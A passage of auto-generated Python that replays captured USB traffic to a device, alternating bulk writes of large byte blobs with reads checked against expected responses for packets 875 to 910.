b\"\\x1D\\xA2\\xAA\\x00\\xFC\\xD8\\xD3\\x57\\x38\\xF3\\xFE\\xDD\\xD2\\x2F\\x06\\x17\"\n b\"\\xB9\\x89\\xE9\\xE5\\x4E\\xD1\\xFA\\x34\\x08\\x57\\x3F\\x70\\xA6\\xD9\\xA3\\xDC\"\n b\"\\x2E\\x4D\\xE9\\xB4\\xF5\\x7C\\x83\\x4D\\xAB\\xAB\\x6E\\xDF\\x3B\\x8D\\x6E\\xA2\"\n b\"\\x1B\\xDF\\x45\\xAD\\xA1\\x32\\xD6\\x77\\xC3\\x97\\x6E\\xAF\\xC7\\x47\\x81\\x79\"\n b\"\\x42\\x71\\x33\\x18\\x72\\x74\\xEA\\xE3\\xC0\\xAF\\xCD\\x02\\x8F\\x98\\x9E\\xC4\"\n b\"\\x90\\xCC\\xCE\\x4F\\xA5\\x9F\\xF5\\xD2\\x9E\\xCB\\xEA\\x62\\x09\\xC9\\xAE\\x85\"\n b\"\\xF5\\x51\\x46\\xB4\\xA5\\x84\\x5D\\xD4\\x8C\\x01\\xB5\\x79\\xEC\\xC0\\x65\\xD0\"\n b\"\\x59\\xDE\\xA1\\x5B\\x06\\x8E\\x6A\\x7C\\x1D\\xDC\\x91\\xB1\\xC2\\x80\\x02\\xAB\"\n b\"\\x0A\\x72\\xA4\\xF5\\xFC\\x28\\xD2\\x23\\xC1\\xCA\\xCA\\x5B\\xBB\\xD1\\xF2\\x1D\"\n b\"\\x59\\x57\\x24\\x71\\xD6\\xF0\\xD3\\xF8\\xE2\\xE4\\x07\\x66\\xDB\\xA7\\xDE\\xE0\"\n b\"\\x2E\\x20\\x58\\x48\\x00\\x9E\\x8D\\xD0\\x07\\x6D\\xB5\\x0B\\x6C\\x1E\\x5C\\x5F\"\n b\"\\x15\\xC8\\x7B\\xF8\\xA3\\xA4\\x37\\xF0\\xED\\xF7\\x07\\x49\\x7C\\xA4\\x17\\xCF\"\n b\"\\xAF\\x37\\x61\\x29\\xC0\\x51\\x9E\\xAA\\xDB\\x83\\xD4\\x62\\xEE\\xC6\\x8C\\x81\"\n b\"\\xDD\\x3E\\x64\\x94\\xCA\\x20\\x49\\x3C\\x3C\\xA2\\x6D\\x37\\x25\\x52\\x31\\xA9\"\n b\"\\xAB\\x72\\x4F\\x84\\x3E\\xE0\\x36\\xFD\\xC7\\x15\\x19\\x5F\\x4F\\xBD\\xDA\\x15\"\n b\"\\xC1\\x0C\\x47\\x77\\xD7\\x46\\x26\\xAF\\xCA\\x00\\x63\\xA1\")\n # Generated from packet 875/876\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 875/876\")\n # Generated from packet 877/878\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x71\\x47\\xD1\\x90\\xD3\\x57\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0F\\xD4\\xCE\\x84\\x97\\xB7\\x3A\\x48\"\n b\"\\x88\\xE7\\x9F\\x20\\x33\\xBD\\x1E\\x57\\x9E\\x73\\xEB\\xA2\\x25\\xEF\\xCD\\xC8\"\n b\"\\x12\\xC4\\x8C\\x99\\xDD\\xE0\\x9A\\x32\\x43\\x4C\\x22\\x34\\x97\\xDF\\xAA\\x3F\"\n b\"\\xAB\\xFC\\x28\\x4B\\x22\\xF3\\xF2\\x83\\x95\\xE5\\xBC\\x78\\x2A\\xD0\\xFE\\x7C\"\n b\"\\x28\\xDA\\x4C\\xCB\\x77\\xF7\\x97\\x04\\xC7\\x0A\\x2F\\xA8\\x86\\xD1\\x95\\x46\"\n b\"\\x49\\x22\\x0A\\x7B\\x3C\\x4D\\x6A\\x44\\xD2\\x63\\x42\\x13\\xAE\\xA8\\x98\\x14\"\n b\"\\x01\\x15\\x03\\x9C\\xCC\\x8A\\x76\\x1B\\xCC\\x93\\x26\\x39\\xC1\\x49\\xF0\\x0B\"\n b\"\\xF2\\x71\\x29\\x4D\\xAD\\xCA\\x55\\x06\\x05\\xC2\\x2A\\x75\\xD5\\x94\\x71\\x8B\"\n b\"\\xB3\\x8D\\xFB\\x61\\xED\\x24\\x85\\x61\\x1C\\x2E\\x9A\\x65\\x25\\x84\\x8B\\x30\"\n b\"\\x3B\\xF7\\xEA\\xBE\\x85\\x3D\\x26\\xB7\\x9C\\xB5\\xDD\\x03\\x6A\\x78\\xB0\\xD3\"\n b\"\\x00\\x0F\\x55\\x95\\x12\\x19\\x8E\\xB3\\x9F\\x96\\xEF\\xB4\\x37\\x0A\\x04\\x79\"\n b\"\\xC8\\xCA\\x51\\xEA\\xD5\\x1F\\x4E\\xAE\\x06\\x7D\\x52\\xF8\\xBF\\x7F\\x41\\xE2\"\n b\"\\xDF\\xBF\\xFC\\x1C\\x76\\x04\\x7A\\xE2\\xC3\\x5C\\x3E\\x64\\xCD\\xAA\\x1E\\xE9\"\n b\"\\xEE\\x33\\xDD\\x4B\\x21\\xE8\\x16\\xDB\\x13\\x6A\\x2D\\xFD\\x95\\xA6\\x92\\x3E\"\n b\"\\x53\\xF5\\xFF\\x52\\xC2\\x05\\xA8\\x07\\x1D\\x6C\\x17\\x12\\xFD\\x9E\\x03\\xCF\"\n b\"\\x82\\x3E\\x84\\x9C\\x74\\x56\\x98\\x11\\x2B\\x6F\\xB4\\x07\\x52\\x07\\xB1\\x0B\"\n b\"\\x8B\\xA0\\x04\\x7C\\xF7\\xC5\\xDE\\xAC\\xA4\\xDB\\xF1\\xFC\")\n # Generated from packet 879/880\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 879/880\")\n # Generated from packet 881/882\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6A\\x0A\\xA5\\xAB\\x8F\\x45\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA0\\xA7\\xFD\\x44\\xFF\\x85\\x44\\xAD\"\n b\"\\x73\\xE1\\xBB\\xF2\\x13\\x47\\xE3\\x69\\x79\\xB0\\xE2\\x3E\\x2F\\x23\\xD1\\x56\"\n b\"\\xF6\\x3F\\x33\\x50\\x0F\\x47\\xF5\\x40\\xBC\\x1B\\xA8\\x69\\xFB\\x31\\x45\\x82\"\n b\"\\x7C\\x14\\x3C\\x25\\xC5\\x66\\xA2\\x62\\x2C\\x1A\\x7B\\xD5\\xAF\\xD9\\xF4\\x43\"\n b\"\\xEC\\xBB\\x04\\x09\\xD0\\x87\\xEE\\x36\\x6E\\x59\\x0C\\xB6\\x65\\xB9\\xC9\\x14\"\n b\"\\x65\\x45\\xEB\\xD7\\x2E\\xC4\\x56\\x45\\xF5\\xD4\\x8D\\x2F\\x3D\\x00\\xDE\\x31\"\n b\"\\x69\\xCC\\x5A\\x41\\x2F\\xAF\\xD2\\x92\\xB7\\x6F\\xD0\\x2A\\x79\\x4F\\xE5\\xF4\"\n b\"\\x48\\x8B\\x19\\x60\\xF3\\x8B\\xB6\\x91\\xBD\\x9C\\x9B\\x72\\x96\\xC0\\xB3\\x9F\"\n b\"\\xD9\\x9B\\x87\\x82\\x9E\\x00\\x02\\xA8\\x39\\xA0\\x00\\x74\\xE0\\x58\\x8D\\xD2\"\n b\"\\xD4\\x91\\x00\\x53\\xCE\\xB4\\x6B\\xF8\\x4B\\x08\\xA3\\x90\\x1F\\x97\\xC8\\x3F\"\n b\"\\x2C\\x82\\x4D\\x2F\\x96\\x88\\x73\\x73\\xD0\\xD3\\xE8\\xC5\\x5B\\xBB\\x01\\x5E\"\n b\"\\x21\\x69\\x5B\\x30\\x88\\x20\\x7E\\x04\\x1C\\x9C\\x93\\xB6\\xFC\\x85\\xB3\\x1C\"\n b\"\\x7C\\xD3\\xA1\\x61\\x53\\xDC\\x88\\x13\\xD0\\x5E\\x2A\\xFF\\x54\\x16\\x5A\\xAA\"\n b\"\\x66\\x83\\xD3\\x38\\xC4\\xB2\\xD0\\x94\\xA9\\x5B\\x7B\\x55\\xB2\\x1C\\xF3\\x0B\"\n b\"\\x74\\x4A\\x64\\x57\\x5F\\x14\\xD8\\x66\\x9A\\xF6\\xDB\\x78\\x6A\\x99\\x5B\\x3C\"\n b\"\\xDB\\x94\\xFD\\x21\\xC7\\xA5\\xA1\\x7C\\x4E\\x39\\x93\\x6A\\x56\\x33\\x75\\xA7\"\n b\"\\xDC\\xF8\\x99\\x42\\x99\\xFF\\x13\\x91\\xF8\\x34\\x54\\x8E\")\n # Generated from packet 883/884\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 883/884\")\n # Generated from packet 885/886\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA5\\x62\\x34\\x0B\\x75\\x09\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE4\\x36\\xEE\\x1D\\xE1\\xFC\\xCD\\xF5\"\n b\"\\x51\\x60\\xA3\\x2F\\x6C\\x4C\\x26\\x7B\\x13\\x80\\x83\\x7D\\x25\\x4F\\xA9\\xD7\"\n b\"\\x79\\x43\\xF0\\x5C\\xAA\\x7F\\x90\\x1C\\xE7\\x2B\\x2A\\x0B\\x45\\xEE\\xE0\\xD7\"\n b\"\\x1D\\x0F\\xD7\\xF3\\x2C\\xED\\x34\\x31\\xD9\\x1B\\x04\\xCE\\x88\\x08\\x9E\\x0F\"\n b\"\\xFC\\x2E\\xD9\\x36\\x75\\x47\\x17\\x9B\\x10\\xFE\\x50\\x7C\\x93\\x33\\x45\\xAD\"\n b\"\\xA0\\xD2\\x0A\\x78\\xB5\\xB8\\x20\\x05\\x02\\xA9\\xF0\\xE4\\xEA\\xAF\\xF6\\x9F\"\n b\"\\x17\\x31\\xD5\\x26\\xFE\\xA2\\xE6\\x7F\\x60\\x6A\\xB2\\xFB\\xD9\\x1C\\x00\\x55\"\n b\"\\x4E\\x3F\\xCE\\xC0\\xE5\\x9D\\xC7\\x13\\x09\\x63\\x3E\\xE5\\x2A\\xC8\\xDD\\x51\"\n b\"\\xF5\\x32\\x7D\\xD9\\x30\\xDA\\x48\\x64\\x11\\xFD\\x06\\x3E\\x67\\x3E\\xE9\\xB6\"\n b\"\\x2E\\xCE\\x45\\xAB\\x99\\x55\\x99\\x23\\x6A\\x3C\\x37\\x0A\\x5C\\xD4\\x62\\x78\"\n b\"\\xD2\\x6C\\xEA\\xEB\\x7E\\x35\\x64\\x1D\\x02\\xDA\\xCE\\x70\\xE9\\x9B\\xF2\\xBC\"\n b\"\\x07\\xEA\\x96\\x4C\\x30\\xDA\\xEF\\xED\\x7C\\xDA\\x03\\x2E\\x9B\\xAB\\xEE\\x95\"\n b\"\\xBB\\xD1\\x45\\xF1\\xC2\\x0A\\xAF\\xCB\\xD5\\xA5\\x90\\xCB\\xE3\\xCA\\x4C\\x24\"\n b\"\\x5E\\x51\\x94\\x13\\x8D\\xBE\\x9E\\xC3\\xDF\\x4B\\x0D\\x4C\\x3E\\x7B\\x4C\\xDF\"\n b\"\\x22\\x2E\\x13\\x10\\x3A\\x1A\\xAC\\x39\\x6C\\xDC\\x78\\x30\\xF0\\xC5\\xA7\\x9A\"\n b\"\\xFF\\x51\\xDE\\x2F\\xE0\\x28\\x1D\\x20\\xF3\\x1E\\x47\\x3A\\xC9\\xBC\\x05\\x98\"\n b\"\\xD6\\xE5\\xE9\\xFB\\x9C\\x24\\xF2\\x71\\x03\\x93\\x1D\\x59\")\n # Generated from packet 887/888\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 887/888\")\n # Generated from packet 889/890\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x47\\x56\\x3C\\x0C\\xE6\\x37\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x57\\x1B\\x5B\\xFE\\x89\\xF9\\xDB\\x0E\"\n b\"\\xB4\\xDB\\xE4\\x67\\x05\\x9B\\x09\\x2A\\x79\\xA3\\xAF\\x17\\x4A\\xEF\\xFA\\xA2\"\n b\"\\x22\\x44\\xC1\\x2B\\xDF\\xFD\\x61\\xF6\\x68\\x96\\x69\\xC3\\xF2\\xF7\\x48\\x1C\"\n b\"\\x51\\xB9\\x19\\xE6\\x30\\x19\\x8E\\x0A\\xB2\\x4F\\xDF\\x3D\\x05\\xC1\\xE6\\x59\"\n b\"\\xA9\\x1E\\x87\\xFE\\x45\\x09\\x7F\\x8F\\x68\\x42\\x00\\x64\\xA4\\x56\\x82\\xFB\"\n b\"\\x96\\xF8\\x2D\\x06\\xE4\\xA8\\x30\\xC5\\xE1\\x48\\xFE\\xF1\\x9F\\x2B\\x77\\xC4\"\n b\"\\x79\\xF6\\xBB\\x46\\x02\\x05\\x9C\\x38\\x2D\\xB7\\x65\\x3A\\xE9\\xF0\\x4F\\xB3\"\n b\"\\x7F\\x63\\xF1\\xA2\\x1A\\x1E\\x96\\x4D\\x2D\\x73\\x5E\\x9C\\xD2\\xAB\\x1A\\x71\"\n b\"\\x6A\\x61\\x78\\x9C\\xEE\\xC9\\x28\\x55\\xE9\\x51\\xFF\\x6A\\x69\\x01\\x45\\xA5\"\n b\"\\xE2\\x63\\xF4\\x96\\x2C\\x88\\xA8\\xC0\\x57\\x50\\x4E\\x9E\\x76\\x48\\x02\\xA8\"\n b\"\\x7A\\x5D\\xFB\\xE9\\x5F\\x3F\\x9F\\x1C\\x6F\\xE3\\xB7\\xC8\\xF8\\x9B\\xEF\\x37\"\n b\"\\x85\\xC2\\x50\\x54\\x6C\\xEF\\xBD\\x7C\\x75\\x0A\\x60\\xC6\\x51\\xB4\\xBE\\x54\"\n b\"\\x52\\xC3\\x6B\\xDA\\x43\\x3A\\x3B\\xF8\\x8A\\x1F\\xAE\\x1A\\xDE\\xE5\\x89\\x6C\"\n b\"\\xE0\\xDC\\x13\\x10\\xF5\\x5B\\x93\\xAF\\xB2\\xB1\\x9C\\xDA\\x7D\\x88\\x77\\x35\"\n b\"\\xCF\\x2E\\x23\\x4F\\xAB\\x4A\\xC6\\xE7\\x0A\\x10\\xFC\\xCC\\xA2\\xE3\\xF6\\x93\"\n b\"\\x8D\\xE4\\x0B\\x71\\x93\\xF9\\x1E\\x0B\\xEF\\xFA\\x69\\x47\\xDF\\xEA\\x2F\\xFC\"\n b\"\\x57\\x62\\x57\\x80\\xDC\\xDD\\x0F\\x04\\xE1\\x26\\x09\\xD0\")\n # Generated from packet 891/892\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 891/892\")\n # Generated from packet 893/894\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC2\\x22\\x0F\\xC8\\xD9\\x19\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDD\\x48\\x1D\\x48\\x7B\\x49\\x02\\xF4\"\n b\"\\x42\\x60\\xB4\\xFD\\x62\\x8F\\x64\\xDA\\x3A\\x8F\\xAD\\x0A\\x9E\\xD0\\x40\\x95\"\n b\"\\x4C\\xA7\\xC1\\xC7\\x8F\\xC6\\xF3\\x77\\x59\\x77\\x7A\\x98\\x67\\xC7\\x85\\x0D\"\n b\"\\x8A\\x97\\xB4\\x05\\xC3\\xF8\\x03\\x8A\\xBA\\xD1\\x0F\\x82\\x55\\x12\\x8E\\xAE\"\n b\"\\xF8\\x0E\\x78\\x15\\xB4\\x6F\\x00\\x4E\\x9F\\xDA\\x2C\\x75\\xAA\\x91\\x63\\xB9\"\n b\"\\xC8\\xDA\\x73\\x2C\\x02\\xEF\\x40\\x25\\x1D\\x44\\xC7\\x0B\\x70\\x43\\xEB\\xFB\"\n b\"\\xFF\\xC5\\x59\\xCB\\x26\\xB0\\x93\\xEC\\xAD\\xDB\\x28\\x0B\\xB6\\xFF\\xDD\\xD8\"\n b\"\\x49\\xB9\\xC8\\x3D\\x22\\xC8\\xFA\\x84\\xBD\\xC1\\xBC\\x6C\\x42\\x59\\x08\\x9B\"\n b\"\\x93\\xE0\\xC0\\x3A\\x3C\\x54\\xA7\\xEA\\x0A\\x02\\x3F\\x38\\x78\\x97\\x07\\x17\"\n b\"\\x2C\\x99\\xF2\\x3B\\xB6\\x9B\\x59\\x44\\xB1\\x17\\x72\\xB0\\x0E\\x51\\x58\\x2F\"\n b\"\\x26\\xCA\\x6A\\xD2\\x5A\\xDA\\xA2\\x72\\xA7\\x3D\\x70\\xF4\\xA6\\x29\\xF2\\xBF\"\n b\"\\xD0\\x15\\xE1\\x27\\x56\\xC6\\x63\\x37\\xDF\\x0E\\xFA\\xF3\\x8C\\xA0\\xF3\\xA4\"\n b\"\\x90\\xA0\\xA9\\x48\\x96\\xA5\\x17\\x30\\x26\\x36\\xB9\\x08\\x1D\\x41\\x04\\xBD\"\n b\"\\xA9\\x9E\\xEF\\xC8\\x41\\xF3\\x66\\x71\\xF8\\x74\\x9C\\x11\\x81\\xD8\\xA7\\x91\"\n b\"\\x8D\\x98\\x7E\\x42\\x7E\\x08\\x5E\\xEB\\x88\\x18\\xDC\\xA8\\xBA\\xB7\\xB2\\x33\"\n b\"\\x81\\x58\\x1A\\xFE\\x6C\\x52\\x8E\\x0B\\x8F\\x06\\xD5\\x68\\x04\\x91\\xC2\\x55\"\n b\"\\x73\\x6E\\xD8\\x17\\x07\\x3D\\x66\\x61\\x2B\\x12\\xCB\\x1F\")\n # Generated from packet 895/896\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 895/896\")\n # Generated from packet 897/898\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x73\\x28\\x7E\\x6D\\x1D\\x59\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1B\\x0F\\x78\\x3C\\x4C\\x53\\x07\\xAE\"\n b\"\\x0F\\xBE\\xCE\\x18\\x61\\x4A\\x7D\\x16\\x27\\xE2\\x4C\\xBA\\x27\\xC2\\xD6\\xD3\"\n b\"\\x21\\x0A\\xB1\\x6D\\xA5\\xFB\\x15\\x36\\x0D\\xEA\\x89\\x4A\\x84\\x78\\xF7\\x2C\"\n b\"\\xF8\\xA1\\x2E\\x8B\\x32\\x4C\\x25\\xE3\\xD9\\xFF\\x00\\x46\\x07\\xDE\\xDA\\x65\"\n b\"\\x29\\x03\\x42\\x8F\\x33\\xBC\\x2A\\x8E\\x16\\xC8\\x31\\xCD\\xF1\\x8C\\xFD\\xEB\"\n b\"\\xA5\\x4C\\x30\\x85\\x1A\\x4B\\xF9\\x7D\\xF9\\x30\\xC1\\xBC\\x08\\xCE\\xAF\\xD5\"\n b\"\\x08\\x74\\xA6\\xD8\\x1A\\xB7\\x7D\\x8F\\x83\\x70\\x01\\xD9\\x37\\xD4\\x87\\xBE\"\n b\"\\xA3\\xE1\\xE4\\xF7\\x96\\x3E\\xA0\\x3C\\xDC\\xDB\\xF9\\x75\\xA4\\x35\\xFA\\x8D\"\n b\"\\x19\\x5C\\xA6\\x1B\\x35\\xFA\\x13\\x7D\\xCB\\x62\\xA2\\x79\\xE6\\x71\\xEA\\x1C\"\n b\"\\xAC\\xFF\\x08\\xEF\\x78\\x30\\x7B\\x56\\xFB\\xC2\\xC3\\x9B\\x5C\\x7E\\xC3\\x1B\"\n b\"\\xCB\\xD5\\xAF\\x9F\\xCF\\x91\\x3A\\x78\\x7F\\xCF\\x85\\x05\\xC1\\xA6\\x39\\xE3\"\n b\"\\x80\\x73\\x82\\x9A\\x6E\\xF3\\x4C\\x9C\\x4C\\x8C\\x3E\\x59\\x3D\\xB0\\x7E\\x1A\"\n b\"\\xB1\\x30\\xDF\\xF8\\x01\\xF6\\xB6\\x7F\\xAD\\x2F\\x41\\x59\\x8D\\x68\\xB2\\xDD\"\n b\"\\x51\\x58\\x34\\x63\\xA3\\xB0\\x1B\\x54\\x1A\\x2B\\xAF\\x4A\\xCB\\xDD\\x1A\\xC3\"\n b\"\\xD2\\x09\\x0D\\x22\\x6F\\x92\\x44\\xF8\\x2F\\xA5\\x08\\xEC\\xC4\\x26\\xA4\\xAF\"\n b\"\\x2F\\xD4\\x7E\\xA8\\xA7\\xCD\\xE1\\xD6\\x0B\\x4D\\xCA\\x7B\\xF6\\xFE\\xDA\\xFD\"\n b\"\\x3C\\x5C\\x7A\\x34\\x90\\x82\\xF9\\x32\\x3D\\x89\\x0D\\x95\")\n # Generated from packet 899/900\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 899/900\")\n # Generated from packet 901/902\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3C\\xEE\\xB2\\xF8\\x2A\\x25\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE8\\xC5\\x07\\x26\\x67\\x24\\xB2\\xFA\"\n b\"\\x98\\xA0\\x4F\\x19\\xEE\\xD2\\x75\\xA6\\x0F\\x3A\\x69\\xAE\\x9E\\xBA\\x5A\\xC7\"\n b\"\\x35\\xC7\\x6A\\x30\\x6B\\xDD\\xB4\\xC1\\x7C\\x17\\x1E\\x7B\\x28\\xC8\\xBB\\x77\"\n b\"\\xFE\\xE2\\xDA\\xAE\\x58\\x61\\xB4\\x55\\x32\\xE6\\x9E\\x3F\\x19\\x02\\x34\\xD4\"\n b\"\\x48\\x63\\xFF\\xBF\\x65\\xEB\\x18\\xE5\\x26\\xFF\\xB0\\xE6\\x0B\\xB5\\x84\\x8E\"\n b\"\\xC9\\x60\\xA3\\x13\\x78\\x8D\\xE4\\xE7\\x69\\xE8\\xEF\\x10\\x4C\\x89\\x63\\x87\"\n b\"\\x30\\xD1\\xA3\\x58\\x8E\\x97\\x18\\xE9\\x25\\xDA\\x62\\x26\\x7F\\x76\\x1E\\xB2\"\n b\"\\xC4\\x94\\x4F\\xBE\\x6A\\xE9\\xC3\\xF4\\xA0\\x1A\\x1A\\x34\\xED\\x77\\x5D\\xC8\"\n b\"\\xF2\\xC1\\x89\\x42\\x91\\xEF\\x02\\x94\\x67\\x3A\\xB0\\x9D\\xEB\\x7D\\xDE\\x35\"\n b\"\\xF6\\xDE\\x2F\\x30\\x3A\\xF7\\x08\\x71\\xAE\\xE2\\x77\\x3C\\x94\\xAE\\xF8\\xF2\"\n b\"\\x1B\\xDA\\xA0\\x99\\x0D\\x42\\x3C\\xC3\\x18\\xA4\\x16\\x5B\\x0E\\x17\\xD7\\xA1\"\n b\"\\x7B\\x32\\x8E\\x9B\\x99\\x02\\xC8\\x37\\x43\\x48\\x96\\x00\\x08\\x00\\xE6\\x11\"\n b\"\\x08\\x3B\\x3F\\x07\\x59\\xB7\\xDD\\x30\\x34\\x76\\x37\\xB1\\xA1\\xC0\\xA2\\x8B\"\n b\"\\x69\\x04\\x3D\\x76\\x00\\x42\\x39\\x90\\x6A\\x4E\\x36\\x39\\x56\\x4E\\x2C\\x45\"\n b\"\\x1E\\xEE\\x78\\x0A\\x16\\xDF\\x20\\x1E\\x92\\xC7\\x3C\\x59\\x96\\x7A\\xE4\\x22\"\n b\"\\x77\\x29\\x95\\x3D\\x72\\xAB\\x1A\\xF9\\x98\\xA4\\xF5\\x42\\xF2\\x17\\x09\\x0B\"\n b\"\\xAF\\xC3\\x8A\\x28\\x9C\\x2D\\x43\\xE9\\x0F\\xFF\\x8C\\x59\")\n # Generated from packet 903/904\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 903/904\")\n # Generated from packet 905/906\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEE\\xD3\\x00\\xC7\\xE5\\x37\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3F\\xCF\\xFF\\x7A\\x07\\xCF\\x75\\xAC\"\n b\"\\x22\\x76\\x01\\xB2\\x57\\xB2\\x4A\\xFF\\x04\\x6B\\x09\\x55\\x29\\x38\\x59\\xB1\"\n b\"\\xF6\\xF8\\xFA\\xB5\\x53\\xF9\\xB9\\x67\\x95\\xA4\\x06\\x11\\x07\\xFA\\x04\\x70\"\n b\"\\xA0\\xCB\\xB2\\x63\\xF1\\x85\\x5D\\x56\\xA3\\x1E\\x8F\\x60\\xA2\\xDF\\xC0\\xD1\"\n b\"\\x34\\x01\\x11\\xF1\\x8A\\x3C\\xCF\\xA3\\x9F\\x70\\x47\\x76\\xE2\\xF2\\x10\\x11\"\n b\"\\x0F\\xEA\\x4F\\x25\\x36\\xA4\\x30\\x3A\\x52\\x58\\xAF\\x1A\\x77\\x6C\\xFB\\xB2\"\n b\"\\x04\\xBB\\x18\\xAE\\x96\\x3B\\x08\\x40\\xF6\\x72\\x96\\x15\\x00\\x1A\\x37\\x76\"\n b\"\\x89\\xA3\\xC8\\x5D\\x86\\xC8\\xC6\\x7D\\x17\\x29\\xCA\\xB0\\xC3\\x0D\\x9D\\xC4\"\n b\"\\x73\\xDA\\x87\\x60\\xE0\\x98\\xE0\\xC8\\x97\\x66\\x3F\\x20\\xA6\\x85\\xC3\\xB0\"\n b\"\\x71\\xFC\\xD2\\x12\\x2F\\x66\\xFA\\x41\\x93\\x5D\\x80\\xEC\\x37\\xD6\\x45\\x1E\"\n b\"\\xA0\\x18\\x66\\xC9\\x5E\\x34\\xB2\\xD7\\x1C\\xFB\\x8F\\x54\\xD2\\x6A\\x75\\x3E\"\n b\"\\x74\\x85\\x09\\xC9\\x60\\x89\\xDB\\x44\\xAA\\xB4\\x88\\x31\\xF3\\x8F\\x8D\\x52\"\n b\"\\xA8\\x39\\x20\\x5B\\xA5\\xDB\\x56\\xB7\\xC6\\xD1\\x5C\\x9E\\x2E\\x0D\\x71\\xEC\"\n b\"\\x08\\xEE\\xB2\\x66\\x4F\\x3A\\xD8\\xE4\\x8B\\xFD\\xBC\\xBE\\x4D\\xF6\\x96\\xD1\"\n b\"\\xAD\\x9B\\xFE\\x89\\xB6\\xDE\\x1B\\xC2\\x66\\x62\\x8E\\x5C\\x9C\\x88\\xD4\\x05\"\n b\"\\xDE\\x7F\\xF8\\xDC\\x6B\\x89\\x22\\x7C\\x77\\xBD\\xF9\\x13\\x18\\x0A\\x2E\\x9C\"\n b\"\\xC5\\x60\\x8B\\x3E\\x9A\\xFD\\x0E\\xE5\\x22\\x93\\x80\\xC6\")\n # Generated from packet 907/908\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 907/908\")\n # Generated from packet 909/910\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEC\\x85\\xF4\\xD0\\xC0\\x1D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB0\\x59\\xAB\\xB3\\xB1\\x9F\\x9C\\x20\"\n b\"\\xA4\\x1D\\xBE\\x1E\\x7A\\x2C\\x4B\\x13\\xA1\\xEE\\x5D\\x00\\x1E\\xD4\\x89\\x95\"\n b\"\\xAC\\xF7\\x5D\\x8D\\x19\\x8E\\x7F\\xB0\\x67\\x4E\\xA1\\x7A\\x35\\x38\\xDB\\x0D\"\n b\"\\x0A\\x13\\x8F\\x3D\\xE9\\x55\\x10\\x69\\x55\\xA7\\x6F\\xDF\\x45\\xAD\\x84\\x04\"\n b\"\\xAF\\x28\\x3C\\xA0\\x25\\xD5\\x45\\xE6\\xA1\\xF3\\xA6\\x2A\\xAA\\xDA\\x9E\\xAA\"\n b\"\\x24\\xC6\\xEC\\x8F\\x05\\x0D\\x41\\x63\\x14\\xC8\\xD7\\xB0\\x22\\xFA\\x99\\xF6\"\n b\"\\xC9\\x51\\x76\\x34\\xDF\\xB9\\x16\\x51\\x20\\x8B\\x99\\x6E\\x24\\x29\\xF3\\xA7\"\n b\"\\xEA\\x7C\\xFA\\x0D\\xE2\\x9B\\x56\\x90\\x49\\x4C\\xFC\\x8E\\xD6\\x5D\\xC6\\xC9\"\n b\"\\x7E\\x91\\x30\\xB5\\xAE\\x87\\xC7\\xD6\\xC6\\xE6\\x3B\\xAC\\xC1\\x3B\\x01\\x3A\"\n b\"\\x46\\x5E\\x8D\\xF0\\xC4\\x19\\x8F\\xB5\\x66\\x94\\x8D\\x0F\\x7A\\x89\\xA1\\xF9\"\n b\"\\x6F\\xDE\\x5F\\xA2\\xDF\\x3A\\x81\\x0A\\x72\\x35\\xF4\\xC9\\x2C\\x6F\\xB4\\xAD\"\n b\"\\xDE\\x50\\xB4\\xE2\\x5F\\x40\\x5A\\x14\\x0E\\x93\\x85\\x4B\\x85\\x15\\x58\\xC1\"\n b\"\\xB9\\x1B\\x1E\\x90\\x52\\x1A\\x49\\xC0\\xF2\\x16\\xEC\\x9D\\xFB\\x1D\\x97\\x39\"\n b\"\\xE6\\x04\\xF9\\xAB\\xE8\\xA8\\x89\\x29\\xA8\\xDE\\x2E\\x8B\\x9E\\x77\\x2B\\xBF\"\n 